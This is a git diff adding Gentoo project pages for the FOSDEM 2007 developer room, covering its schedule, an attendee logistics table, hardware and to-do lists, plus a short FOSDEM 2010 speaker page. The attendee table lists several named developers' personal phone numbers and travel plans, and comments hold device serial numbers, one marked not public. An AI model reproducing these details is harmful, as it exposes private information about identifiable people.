+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>fosdem2007-belgium</name>
+<longname>Free and Open Source Software Developers' European
+Meeting</longname>
+<date>24-25 February 2007</date>
+<author title="Author">
+  <mail link="diox@gentoo.org">Dimitry Bradt</mail>
+</author>
+
+<description>
+This subproject is a place to hold informations on organizing the Gentoo
+booth at the Fosdem 2007 (Free and Open Source Software Developers' European
+Meeting).
+</description>
+
+<longdescription>
+<!-- Fosdem Information -->
+<ul>
+  <li>official website : <uri>http://fosdem.org/2007/</uri></li>
+</ul>
+</longdescription>
+
+<dev role="Lead">diox</dev>
+<dev role="member">gmsoft</dev>
+
+<extrachapter>
+<title>Extra Information</title>
+<section>
+<title>Dev-room info</title>
+<body>
+
+<p>
+Our room will be AW1.124. The capacity is 59 seats.
+Hours we have it Saturday: 14:00 -> 19:00
+Hours we have it Sunday:   09:00 -> 18:00
+</p>
+
+<p>
+Note that on Saturday, it is not possible to use the room before 14:00
+as university courses are being held in all rooms until then. We should start
+our schedule at 14:15 as we most probably won't be able to enter before 14:00.
+For that reason, The event will end at 19:00 on Saturday (instead of 18:00).
+</p>
+
+<pre caption="Organisator Request">
+<comment>(Organisators ask us the following:)</comment>
+Please take care of having everyone out of the room for that time, as we
+staff members have a lot of work to do on Saturday evening, so throwing
+everyone out will be your job  ;)
+</pre>
+
+<pre caption="list we have to provide fosdem07 Ppl">
+- - the name of your project
+<comment>(Gentoo Linux)</comment>
+- - a short and longer description of your project
+<comment>(Gentoo Linux)</comment>
+- - website URL and optionally related URLs
+<comment>(www.gentoo.org, http://www.gentoo.org/proj/en/index.xml?showlevel=1)</comment>
+- - the full schedule of the talks and activities that will take place in
+    your DevRoom with, for each talk:
+  - start time, end time (obviously ;))
+  - the name(s) of the speaker(s)
+  - a few words about the speaker(s), can even be a full bio (*)
+  - optionally, a photo of the speaker
+  - optionally, one or more URLs about the topic
+
+(*) I know it's a lot of work, but just delegate it to the speakers  ;)
+</pre>
+
+<pre caption="Dev-room Schedule on saturday">
+14:00 -> 14:30 :: Welcome
+                  Dimitry Bradt (diox) <comment>(OK)</comment>
+14.30 -> 16.00 :: <uri link="GentooHardened.odp">Gentoo Hardened - the hardened toolchain and the security</uri>
+                  perspective of the Gentoo Linux distribution
+                  Alexander Gabert (pappy-)
+16.00 -> 17.00 :: <uri link="SELinuxOverview.odp">Introduction to SELinux</uri>
+                  Bryan Østergaard (kloeri) <comment>(OK)</comment>
+17.00 -> 18.00 :: <uri link="GentooAltPrefix.pdf">Gentoo/Alt:Prefix Project</uri>
+                  Fabian Groffen (grobian)
+18.00 -> 18.45 :: General Discussion to gentoo's future
+                  All Developers
+</pre>
+
+<pre caption="Dev-room Schedule on sunday">
+09:30 -> 10.00 :: <uri link="FOSDEM-BE-07-Bugday.pdf">The future of the Bugday project</uri>
+                  Alexander Færøy (eroyf)
+10.00 -> 11.00 :: <uri link="ProgramingWithPaludis.pdf">Programming with Paludis</uri>
+                  Danny van Dyk (Kugelfang) <comment>(OK)</comment>
+11.00 -> 11.20 :: <uri link="GentooCouncil.odp">Gentoo's inner working: The Council</uri>
+                  Mike Frysinger (vapier)
+11.20 -> 12.00 :: <uri link="GentooCrossCompiling.odp">Cross-compiling with Gentoo</uri>
+                  Mike Frysinger (vapier)
+12.00 -> 13.00 :: <uri link="Release_Engineering_FOSDEM.odp">Release Engineering: Tinderbox testing</uri>
+                  Chris Gianelloni (wolf31o2) <comment>(OK)</comment>
+13.00 -> 14.00 :: Noon Break ** (Closed door debate)
+14.00 -> 15.00 :: What makes Gentoo a community based distribution?
+                  Christel Dahlskjaer (christel)
+15.00 -> 16.00 :: Portage - A look under the surface
+                  Marius Mauch (genone)
+16.00 -> 17.00 :: <uri link="GentooJava.odp">Java on Gentoo</uri>
+                  Joshua Nichols (nichoj) <comment>(OK)</comment>
+</pre>
+
+</body>
+</section>
+</extrachapter>
+<extrachapter>
+<title>Preparing the event</title>
+<section>
+<title>People</title>
+<body>
+<p>
+This is the list of people related to this event:
+</p>
+<table>
+<tr>
+  <th>Name</th>
+  <th>Title</th>
+  <th>Function on the booth</th>
+  <th>Date of arrival</th>
+  <th>Date of departure</th>
+  <th>town, Country coming from</th>
+  <th>Coming using</th>
+  <th>Sleeping in</th>
+  <th>Email</th>
+  <th>Phone</th>
+</tr>
+<tr>
+  <ti>diox - Dimitry Bradt</ti>
+  <ti>Gentoo developer - GDP / VDR / PR</ti>
+  <ti>to decide</ti>
+  <ti>February 23th evening</ti>
+  <ti>February 25th</ti>
+  <ti>Oostduinkerke, Belgium</ti>
+  <ti>car/train</ti>
+  <ti>My own flat</ti>
+  <ti>diox@gentoo.org</ti>
+  <ti>+32499245524</ti>
+</tr>
+<tr>
+  <ti>nattfodd - Alexandre Buisse</ti>
+  <ti>Gentoo developer - userrel/pr guy</ti>
+  <ti>to decide</ti>
+  <ti>not sure</ti>
+  <ti>not sure</ti>
+  <ti>Paris, France</ti>
+  <ti>Train</ti>
+  <ti>youth hostel</ti>
+  <ti>nattfodd@gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<tr>
+  <ti>kloeri - Bryan Østergaard</ti>
+  <ti>Gentoo developer - Apache, Bugday, Developer Relations,
+  Gentoo/Alpha, Gentoo/IA64, Gentoo/X86 and Python</ti>
+  <ti>to decide</ti>
+  <ti>23/02/07</ti>
+  <ti>26/02/07</ti>
+  <ti>Denmark</ti>
+  <ti>Car</ti>
+  <ti>youth hostel/sejo</ti>
+  <ti>kloeri@gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<tr>
+  <ti>genone - Marius Mauch</ti>
+  <ti>Gentoo developer - Portage, Stats, misc</ti>
+  <ti>unknown</ti>
+  <ti>23/02/07 (probably afternoon)</ti>
+  <ti>unknown</ti>
+  <ti>Bremen, Germany</ti>
+  <ti>train</ti>
+  <ti>youth hostel</ti>
+  <ti>genone@gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<tr>
+  <ti>remi - Rémi Cardona</ti>
+  <ti>Gentoo developer - GNOME</ti>
+  <ti>n/a</ti>
+  <ti>24/02/2007 around noon</ti>
+  <ti>25/02/2007 late afternoon</ti>
+  <ti>Paris, France</ti>
+  <ti>Car</ti>
+  <ti>Hotel</ti>
+  <ti>remi@gentoo.org</ti>
+  <ti>+33 6 80 90 29 16</ti>
+</tr>
+<tr>
+  <ti>astinus - Alex Howells</ti>
+  <ti>Gentoo developer - AMD64, Devrel, PR</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>Geneva, Switzerland</ti>
+  <ti>Train, plane, whatever is cheapest!</ti>
+  <ti>youth hostel</ti>
+  <ti>astinus@gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<tr>
+  <ti>vapier/SpanKY - Mike Frysinger</ti>
+  <ti>Gentoo developer - Games, Base System, Toolchain, *</ti>
+  <ti>n/a</ti>
+  <ti>Feb 23 (midday)</ti>
+  <ti>Feb 26 (midday)</ti>
+  <ti>Worcester, USA</ti>
+  <ti>Magic Carpet Ride</ti>
+  <ti>w/SeJo</ti>
+  <ti>vapier@gentoo.org</ti>
+  <ti>+1.508.847.7488</ti>
+</tr>
+<tr>
+  <ti>st3vie - Senno During</ti>
+  <ti>Gentoo developer - Dutch GWN Lead</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>The Netherlands</ti>
+  <ti>n/a</ti>
+  <ti>youth hostel</ti>
+  <ti>gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<tr>
+  <ti>christel - Christel Dahlskjaer</ti>
+  <ti>Gentoo developer - UserRel, DevRel, Alpha, Mips, PR, Events, RelEng,
+  Recruitment, QA, Adopt-a-Dev, Bugday, Conflict Resolution</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>Exeter, UK</ti>
+  <ti>n/a</ti>
+  <ti>@friend's</ti>
+  <ti>gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<tr>
+  <ti>dertobi123 - Tobias Scherbaum</ti>
+  <ti>Gentoo developer - Gentoo/PPC, Gentoo/HPPA</ti>
+  <ti>n/a</ti>
+  <ti>evening 23-02-2007</ti>
+  <ti>evening 25-02-2007</ti>
+  <ti>Oberhausen, Germany</ti>
+  <ti>Train (via Cologne)</ti>
+  <ti>youth hostel</ti>
+  <ti>dertobi123@gentoo.org</ti>
+  <ti>+49 172 7307110</ti>
+</tr>
+<tr>
+  <ti>wolf31o2 - Chris Gianelloni</ti>
+  <ti>Gentoo developer - Games, LiveCDs</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>USA</ti>
+  <ti>n/a</ti>
+  <ti>youth hostel</ti>
+  <ti>gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<tr>
+  <ti>grobian - Fabian Groffen</ti>
+  <ti>Gentoo developer - Gentoo/Alt:Prefix</ti>
+  <ti>n/a</ti>
+  <ti>early 24-02-07</ti>
+  <ti>evening 25-02-07</ti>
+  <ti>Amsterdam, The Netherlands</ti>
+  <ti>Train</ti>
+  <ti>youth hostel</ti>
+  <ti>gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<!--<tr> 04-01-07 18:50:56 <zypher> diox: unfortunately I can't come to fosdem.
+  <ti>zypher - Marc Hildebrand</ti>
+  <ti>Gentoo developer - Bug wrangling, multimedia</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>Cologne, Germany</ti>
+  <ti>n/a</ti>
+  <ti>youth hostel</ti>
+  <ti>gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>-->
+<tr>
+  <ti>hansmi - Michael Hanselmann</ti>
+  <ti>Gentoo developer - Gentoo/PPC</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>Switzerland</ti>
+  <ti>n/a</ti>
+  <ti>youth hostel</ti>
+  <ti>gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<tr>
+  <ti>pva - Peter Volkov</ti>
+  <ti>Gentoo developer - netmon</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>Moscow, Russia</ti>
+  <ti>n/a</ti>
+  <ti>youth hostel</ti>
+  <ti>gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<tr>
+  <ti>blubb - Simon Stelling</ti>
+  <ti>Gentoo developer - Gentoo/AMD64</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>Schaffhausen, Switzerland</ti>
+  <ti>n/a</ti>
+  <ti>youth hostel</ti>
+  <ti>gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<tr>
+  <ti>killerfox - René Nussbaumer</ti>
+  <ti>Gentoo developer - Gentoo/HPPA</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>Switzerland</ti>
+  <ti>n/a</ti>
+  <ti>youth hostel</ti>
+  <ti>gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<tr>
+  <ti>tove - Torsten Veller</ti>
+  <ti>Gentoo developer - Gentoo/x86</ti>
+  <ti>n/a</ti>
+  <ti>23-02-07</ti>
+  <ti>25-02-07</ti>
+  <ti>Trier, Germany</ti>
+  <ti>Car</ti>
+  <ti>youth hostel</ti>
+  <ti>tove@gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<tr>
+  <ti>Pylon - Lars Weiler</ti>
+  <ti>Gentoo developer - PPC</ti>
+  <ti>let's see…</ti>
+  <ti>friday-evening</ti>
+  <ti>sunday-evening</ti>
+  <ti>Cologne, Germany</ti>
+  <ti>Car with wschlich</ti>
+  <ti>youth hostel</ti>
+  <ti>pylon@gentoo.org</ti>
+  <ti>+49-171-1963258</ti>
+</tr>
+<tr>
+  <ti>mabi - Matti Bickel</ti>
+  <ti>Gentoo developer - PPC</ti>
+  <ti>n/a</ti>
+  <ti>saturnday-morning</ti>
+  <ti>sunday-evening</ti>
+  <ti>Weimar, Germany</ti>
+  <ti>Train</ti>
+  <ti>youth hostel</ti>
+  <ti>mabi@gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<tr>
+  <ti>jokey - Markus Ullmann</ti>
+  <ti>Gentoo developer - Net-Mon, Gentoo/ARM, LDAP and Bugday, net-irc</ti>
+  <ti>n/a</ti>
+  <ti>saturnday-morning</ti>
+  <ti>sunday-evening</ti>
+  <ti>Hamburg, Germany</ti>
+  <ti>Train</ti>
+  <ti>youth hostel</ti>
+  <ti>jokey@gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<tr>
+  <ti>genstef - Stefan Schweizer</ti>
+  <ti>Gentoo developer - Gentoo Alt x86-macos, overlays, sunrise, mobile, kernel, printing</ti>
+  <ti>show portage on an intel mac</ti>
+  <ti>saturday-morning</ti>
+  <ti>sunday-evening</ti>
+  <ti>Frankfurt, Germany</ti>
+  <ti>Train</ti>
+  <ti>youth hostel</ti>
+  <ti>genstef@gentoo.org</ti>
+  <ti>+49 176 292 78 011</ti>
+</tr>
+<tr>
+  <ti>nichoj - Joshua Nichols</ti>
+  <ti>Gentoo developer - Java project lead, XFCE</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>Boston, MA, USA</ti>
+  <ti>Plane</ti>
+  <ti>youth hostel</ti>
+  <ti>nichoj@gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<tr>
+  <ti>Welp - Peter Weller</ti>
+  <ti>Gentoo developer - Gentoo/AMD64, Bugday, XFCE</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>UK</ti>
+  <ti>Train (from waterloo)</ti>
+  <ti>youth hostel</ti>
+  <ti>welp@gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<tr>
+  <ti>Kugelfang - Danny van Dyk</ti>
+  <ti>Gentoo developer - Gentoo/AMD64</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>Witten, Germany</ti>
+  <ti>Train</ti>
+  <ti>youth hostel</ti>
+  <ti>kugelfang@gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<tr>
+  <ti>GMsoft - Guy Martin</ti>
+  <ti>Gentoo developer - Gentoo/HPPA, IPv6</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>Brussels, Belgium</ti>
+  <ti>Foot</ti>
+  <ti>Home</ti>
+  <ti>gmsoft@gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<tr>
+  <ti>Ferdy - Fernando J. Pereda</ti>
+  <ti>Gentoo developer - net-mail, Gentoo/Alpha</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>Madrid, Spain</ti>
+  <ti>Plain</ti>
+  <ti>Own Hotel</ti>
+  <ti>ferdy@gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<tr>
+  <ti>jaervosz - Sune Kloppenborg Jeppesen</ti>
+  <ti>Gentoo developer - security</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>Denmark</ti>
+  <ti>Plain</ti>
+  <ti>@Friend</ti>
+  <ti>jaervosz@gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<tr>
+  <ti>wschlich - Wolfram Schlich</ti>
+  <ti>Gentoo developer</ti>
+  <ti>n/a</ti>
+  <ti>2006-02-23</ti>
+  <ti>2006-02-25</ti>
+  <ti>Bad Breisig (near Bonn), Germany</ti>
+  <ti>car (offering 3-4 seats, just ask me!)</ti>
+  <ti>youth hostel</ti>
+  <ti>wschlich@gentoo.org</ti>
+  <ti>+49-178-SCHLICH (7245424 for those with prehistoric phones :P)</ti>
+</tr>
+<tr>
+  <ti>spb - Stephen Bennett</ti>
+  <ti>Gentoo developer - BSD, Gentoo/Alpha, Gentoo/MIPS, QA</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>Cambridge, UK</ti>
+  <ti>n/a</ti>
+  <ti>Youth Hostel</ti>
+  <ti>spb@gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<tr>
+  <ti>pappy - Alexander Gabert</ti>
+  <ti>Gentoo developer - hardened toolchain, grsecurity, PaX</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>Trier, Germany</ti>
+  <ti>n/a</ti>
+  <ti>Youth Hostel</ti>
+  <ti>pappy@gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<tr>
+  <ti>kingtaco - Mike Doty</ti>
+  <ti>Gentoo developer - Gentoo/AMD64, Developer relations, Recruitment, Infrastructure</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>Chicago, IL, USA</ti>
+  <ti>n/a</ti>
+  <ti>Sejo/Youth Hostel</ti>
+  <ti>kingtaco@gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<tr>
+  <ti>cam - Camille Huot</ti>
+  <ti>Gentoo developer - French Gentoo Documentation</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>Paris, France</ti>
+  <ti>n/a</ti>
+  <ti>Youth Hostel</ti>
+  <ti>cam@gentoo.org</ti>
+  <ti>n/a</ti>
+</tr>
+<tr>
+  <ti>graaff - Hans de Graaff</ti>
+  <ti>Gentoo developer - XEmacs</ti>
+  <ti>n/a</ti>
+  <ti>saturyday morning</ti>
+  <ti>sunday evening</ti>
+  <ti>Delft, The Netherlands</ti>
+  <ti>car</ti>
+  <ti>youth hostel</ti>
+  <ti>graaff@gentoo.org</ti>
+  <ti>+316 2295 4903</ti>
+</tr>
+<tr>
+  <ti>phreak - Christian Heim</ti>
+  <ti>Gentoo developer - hardened-sources, virtualization, recruiters</ti>
+  <ti>n/a</ti>
+  <ti>February 23th (evening)</ti>
+  <ti>February 25th (evening)</ti>
+  <ti>Stralsund, Germany</ti>
+  <ti>train (maybe by car)</ti>
+  <ti>Youth hostel</ti>
+  <ti>phreak@gentoo.org</ti>
+  <ti>+49-178-20347345</ti>
+</tr>
+<tr>
+	<ti>eroyf - Alexander Færøy</ti>
+	<ti>Gentoo developer - Bugday lead, Alpha/MIPS/IA64, User Relations, QA.</ti>
+	<ti>n/a</ti>
+	<ti>February 23th (evening)</ti>
+	<ti>February 26th (early)</ti>
+	<ti>Copenhagen, Denmark.</ti>
+	<ti>Car.</ti>
+	<ti>Youth Hostel</ti>
+	<ti>eroyf@gentoo.org</ti>
+	<ti>+45 22133373</ti>
+</tr>
+<tr>
+	<ti>CHTEKK - Luca Longinotti</ti>
+	<ti>Gentoo developer - PHP Lead, Apache/MySQL/PgSQL</ti>
+	<ti>n/a</ti>
+	<ti>February 23th (evening)</ti>
+	<ti>February 25th (evening)</ti>
+	<ti>Lugano, Switzerland</ti>
+	<ti>Train</ti>
+	<ti>Youth Hostel</ti>
+	<ti>chtekk@gentoo.org</ti>
+	<ti>+41 793733214</ti>
+</tr>
+<tr>
+	<ti>hkBst - Marijn Schouten</ti>
+	<ti>Gentoo developer - Scheme</ti>
+	<ti>n/a</ti>
+	<ti>February 23th</ti>
+	<ti>February 26th</ti>
+	<ti>Zeist, Netherlands (possibly Maastricht, Netherlands)</ti>
+	<ti>Train</ti>
+	<ti>Youth Hostel</ti>
+	<ti>hkBst@gentoo.org</ti>
+	<ti>n/a</ti>
+</tr>
+<tr>
+        <ti>hyakuhei - Robert Clark</ti>
+        <ti>Gentoo developer - Security/log monitoring apps, Auditing</ti>
+        <ti>n/a</ti>
+        <ti>February 23th</ti>
+        <ti>February 26th</ti>
+        <ti>Wales, UK</ti>
+        <ti>Plain</ti>
+        <ti>Youth Hostel</ti>
+        <ti>hyakuhei@gentoo.org</ti>
+        <ti>n/a</ti>
+</tr>
+<tr>
+        <ti>djay - Gérald Fenoy</ti>
+        <ti>Gentoo developer - Sci Geosciences</ti>
+        <ti>n/a</ti>
+        <ti>February 24th (morning)</ti>
+        <ti>February 25th (evening)</ti>
+        <ti>Balaruc les Bains, France</ti>
+        <ti>Train</ti>
+        <ti>Youth Hostel</ti>
+        <ti>djay@gentoo.org</ti>
+        <ti>n/a</ti>
+</tr>
+<tr>
+  		<ti>kernelsensei - Boris Fersing</ti>
+  		<ti>Gentoo developer - Forum Staff</ti>
+		<ti>n/a</ti>
+  		<ti>February 24th (morning)</ti>
+  		<ti>February 25th (evening)</ti>
+  		<ti>Sarreguemines, France</ti>
+  		<ti>Car</ti>
+		<ti>a friend's house</ti>
+  		<ti>kernelsensei@gentoo.org</ti>
+		<ti>+33 6 87 95 95 88</ti>
+</tr>
+<tr>
+  		<ti>falco - Raphael Marichez</ti>
+  		<ti>Gentoo developer - Security</ti>
+		<ti>n/a</ti>
+  		<ti>February 24th (midday)</ti>
+  		<ti>February 25th (evening)</ti>
+  		<ti>Paris, France</ti>
+  		<ti>Car</ti>
+		<ti>B-B's double bedroom near University</ti>
+  		<ti>falco@gentoo.org</ti>
+                <ti>n/a</ti>
+</tr>
+<tr>
+        <ti>kosmikus - Andres Löh</ti>
+        <ti>Gentoo developer - Haskell</ti>
+        <ti>n/a</ti>
+        <ti>February 24th (maybe 23rd)</ti>
+        <ti>February 25th (evening)</ti>
+        <ti>Bonn, Germany</ti>
+        <ti>Train</ti>
+        <ti>Youth Hostel</ti>
+        <ti>kosmikus@gentoo.org</ti>
+        <ti>n/a</ti>
+</tr>
+
+</table>
+
+</body>
+</section>
+<section>
+<title>Hardware</title>
+<body>
+<table>
+<tr>
+  <th>what</th>
+  <th>who</th>
+  <!--<th>s/n</th>
+  <th>remarks</th>-->
+</tr>
+<tr>
+  <ti>Apple iBook G4 800MHz/256MB/30GB/COMBO</ti>
+  <ti>Kugelfang</ti>
+  <!--<ti>UV4051GJPGZ</ti>
+  <ti>128MB of RAM removed</ti>
+</tr>
+<tr>
+  <ti>Apple Airport Extreme Extension Card</ti>
+  <ti>Kugelfang</ti>
+  <ti>HS513C9FR17A</ti>
+  <ti>AP-ID: 00112496F481</ti>
+</tr>
+<tr>
+  <ti>Kingston DDR333-SDRAM 512MB, KVR333X64SC25/512,</ti>
+  <ti>Kugelfang</ti>
+  <ti>9905064-020.A00LF / 2220840-0258353 / ASMM0820686</ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>Apple 12-inch iBook Rechargeable Battery</ti>
+  <ti>Kugelfang</ti>
+  <ti>HQ4160QVPV9A</ti>
+  <ti>Model: A1061</ti>
+</tr>
+<tr>
+  <ti>Apple 12-inch iBook Rechargeable Battery</ti>
+  <ti>Kugelfang</ti>
+  <ti>ZZ4024VTPVAA</ti>
+  <ti>Model: A1061</ti>-->
+</tr>
+<!-- not public, please
+<tr>
+  <ti>HP Laptop nx9000</ti>
+  <ti>Pylon</ti>
+  <ti>CNF3380KT2</ti>
+  <ti></ti>
+</tr>-->
+<tr>
+  <ti>IBM Thinkpad R50p</ti>
+  <ti>diox</ti>
+  <!--<ti>99-lt078</ti>
+  <ti></ti>-->
+</tr>
+<tr>
+  <ti>Apple iBook G3 800MHz/384MB/30GB/COMBO</ti>
+  <ti>grobian</ti>
+  <!-- <ti>UV305018N5C</ti>
+  <ti></ti>-->
+</tr>
+<tr>
+	<ti>Laptop 1.8Ghz/1GB/60GB/DVD Burner</ti>
+	<ti>kernelsensei</ti>
+</tr>
+<tr>
+	<ti>Intel macbook featuring OSX and Linux - both with Gentoo</ti>
+	<ti>genstef</ti>
+</tr>
+</table>
+</body>
+</section>
+<section>
+<title>Things needed</title>
+<body>
+
+<p>
+This is the list of stuff we need
+</p>
+
+<table>
+<tr>
+  <th>Name</th>
+  <th>type</th>
+  <th>We have it yet</th>
+  <th>Who is working on it</th>
+  <th>Date we need it</th>
+  <th>Requires</th>
+  <th>Who is Responsible</th>
+  <th>Who brings it</th>
+  <th>description</th>
+</tr>
+<tr>
+<!-- Add here -->
+  <ti>youth hostel-rooms</ti>
+  <ti>Bed/Breakfast</ti>
+  <ti>No</ti>
+  <ti>diox</ti>
+  <ti>(24th and) 25th February</ti>
+  <ti>Number of Gentoo developers to book for.</ti>
+  <ti>diox</ti>
+  <ti>n/a</ti>
+  <ti>Booking youth hostel Rooms one month in advance / 42
+  euro&amp;s a night/ 3 or 4 ppl a room</ti>
+</tr>
+<tr>
+  <ti>Van</ti>
+  <ti>Transport</ti>
+  <ti>No</ti>
+  <ti>n/a</ti>
+  <ti>25 and 26 February</ti>
+  <ti>Someone with a valid driver license</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>Order a van, to move devs from youth hostel -> Fosdem -> Restaurant
+  -> youth hostel</ti>
+</tr>
+<tr>
+  <ti>Restaurant</ti>
+  <ti>Food</ti>
+  <ti>No</ti>
+  <ti>n/a</ti>
+  <ti>25 February (evening)</ti>
+  <ti>Van</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>Book a good/cheap restaurant. Ping sejo about it!</ti>
+</tr>
+<tr>
+  <ti>book dev-room</ti>
+  <ti>Event Job</ti>
+  <ti>Yes</ti>
+  <ti>diox</ti>
+  <ti>25 and 26 February</ti>
+  <ti>Aproval</ti>
+  <ti>diox</ti>
+  <ti>n/a</ti>
+  <ti>Mail Fosdem ppl about it</ti>
+</tr>
+<tr>
+  <ti>Wireless Inet</ti>
+  <ti>Event Job</ti>
+  <ti>Yes</ti>
+  <ti>diox</ti>
+  <ti>25 and 26 February</ti>
+  <ti>Provider</ti>
+  <ti>diox</ti>
+  <ti>n/a</ti>
+  <ti>All taken care of.</ti>
+</tr>
+<tr>
+  <ti>Get speakers</ti>
+  <ti>Event Job</ti>
+  <ti>No</ti>
+  <ti>n/a</ti>
+  <ti>25 and 26 February</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>devs add yourself here! Speakers: </ti>
+</tr>
+<tr>
+  <ti>Get advertising stuff</ti>
+  <ti>Event Job</ti>
+  <ti>No</ti>
+  <ti>n/a</ti>
+  <ti>25 and 26 February</ti>
+  <ti>Money?</ti>
+  <ti>n/a</ti>
+  <ti>n/a</ti>
+  <ti>Ping christel about the event-packs</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</extrachapter>
+</project>
diff --git a/xml/htdocs/proj/en/pr/events/fosdem2010-belgium/index.xml b/xml/htdocs/proj/en/pr/events/fosdem2010-belgium/index.xml
new file mode 100644
index 00000000..9277eb17
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/fosdem2010-belgium/index.xml
@@ -0,0 +1,90 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>FOSDEM 2010</name>
+<date>2010-07-02</date><!--                              <<< UPDATE ON CONTENT CHANGES! -->
+<author title="Author">
+  <mail>sping</mail>
+</author>
+
+<description>
+Annual meeting at FOSDEM.
+</description>
+
+<longdescription><p>
+Annual meeting at FOSDEM.
+</p></longdescription>
+
+<dev>betelgeuse</dev>
+<dev>fauli</dev>
+<dev>flameeyes</dev>
+<dev>graaff</dev>
+<dev>grobian</dev>
+<dev>haubi</dev>
+<dev>jmbsvicetto</dev>
+<dev>lu_zero</dev>
+<dev>mduft</dev>
+<dev>patrick</dev>
+<dev>scarabeus</dev>
+<dev>ricmm</dev>
+<dev>robbat2</dev>
+<dev>yngwin</dev>
+<dev>welp</dev>
+<dev>wired</dev>
+<dev>zorry</dev>
+
+<extrachapter>
+<title>Speakers</title>
+<section>
+<body>
+
+<p>
+Speakers at the event.
+</p>
+
+<table>
+<tr>
+  <th>Topic</th>
+  <th>Speaker</th>
+</tr>
+<tr>
+  <ti><uri link="http://fosdem.org/2010/schedule/events/dist_hr_management">Distribution HR management</uri>
+     (<uri link="http://video-mirror.fosdem.org/2010/devrooms/distributions/Distribution_HR_management.ogv">Video</uri>)</ti>
+  <ti><mail>betelgeuse</mail></ti>
+</tr>
+<tr>
+  <ti><uri link="http://fosdem.org/2010/schedule/events/dist_good_upstream">How to be a good upstream</uri>
+     (<uri link="http://video-mirror.fosdem.org/2010/devrooms/distributions/How_to_be_a_good_upstream.ogv">Video</uri>)</ti>
+  <ti><mail>betelgeuse</mail></ti>
+</tr>
+<tr>
+  <ti><uri link="http://fosdem.org/2010/schedule/events/dist_infrastructure">Infrastructure round table</uri>
+     (<uri link="http://video-mirror.fosdem.org/2010/devrooms/distributions/Infrastructure_round_table.ogv">Video</uri>)</ti>
+  <ti><mail>robbat2</mail></ti>
+</tr>
+</table>
+
+</body>
+</section>
+</extrachapter>
+
+
+<extrachapter>
+<title>Pictures</title>
+<section>
+<body>
+
+<ul>
+  <li>Album &quot;<uri link="http://picasaweb.google.com/alex.alexander/FOSDEM2010#">Fosdem 2010</uri>&quot;
+    by <mail>wired</mail></li>
+</ul>
+
+</body>
+</section>
+</extrachapter>
+
+
+</project>
diff --git a/xml/htdocs/proj/en/pr/events/foss.in2006-india/placeholder.txt b/xml/htdocs/proj/en/pr/events/foss.in2006-india/placeholder.txt
new file mode 100644
index 00000000..a93df416
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/events/foss.in2006-india/placeholder.txt
@@ -0,0 +1 @@
